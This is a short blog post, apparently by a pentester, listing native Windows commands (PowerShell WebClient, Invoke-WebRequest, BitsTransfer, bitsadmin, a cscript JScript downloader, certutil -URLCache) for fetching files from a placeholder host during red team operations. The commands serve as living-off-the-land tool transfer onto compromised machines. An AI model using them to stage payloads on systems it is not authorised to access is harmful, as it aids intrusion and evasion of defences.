This is a compilation of native commands that it’s very likely to find on a windows system. If you have any other way to easily download a file, please comment it and I will update the post.

The main point here is to find a way to download a file without having to install something else on the system,  I’m talking about when we are performing a pentest, red team operation and stuff…

PowerShell 2.0

• System.Net.WebClient

(New-Object System.Net.WebClient).DownloadFile("http://example.com/file.hex","Outfile.hex")

• BitsTransfer

Import-Module BitsTransfer ; Start-BitsTransfer -source "http://example.com/file.hex"

PowerShell >= 3.0

• Invoke-WebRequest

Invoke-WebRequest -Uri "http://example.com/file.hex" -OutFile "C:\file.hex"

• iwr

iwr "http://example.com/file.hex" -Outfile "file.hex"

• iwr aliases == wget and curl

iwr "http://example.com/file.hex" -Outfile "file.hex"
wget "http://example.com/file.hex" -Outfile "file.hex"
curl "http://example.com/file.hex" -Outfile "file.hex"

BitsAdmin

bitsadmin.exe /Transfer JobName /download /priority normal "http://example.com/file.hex" "C:\path\file.hex"

By default the option is /download and the /priority is normal so we can make this command line shorter

bitsadmin /Transfer Job "http://example.com/file.hex" "C:\path\file.hex"

Explorer

This will open the default web-browser configured and download the file to the default location. (Maybe not the best option but could be handy)

explorer http://example.com/file.hex

Cscript

echo var H = new ActiveXObject("WinHttp.WinHttpRequest.5.1");H.Open("GET", WScript.Arguments(0), /*async=*/false);H.Send();B = new ActiveXObject("ADODB.Stream");B.Type = 1;B.Open();B.Write(H.ResponseBody);B.SaveToFile("file.hex"); > curl.js && cscript /nologo curl.js "http://example.com/file.hex"

Certutil.exe

My favorite option to download a file is using ‘certutil.exe’. This is really easy and handy (All credits to @subTee) and we can use certutil in two different ways as listed below:

1. curl + hexdump -C
2. wget

1) curl + hexdump -C

certutil -URLCache -f "http://example.com/file.hex"

2) wget

certutil -URLCache -split -f "http://example.com/file.hex"

The option -f will force the overwrite of the file if exists and -split will split embedded ASN.1 elements, and save to a file.

That’s all I have, if you wanna share any other cool trick please don’t hesitate to drop me a message.

@hecky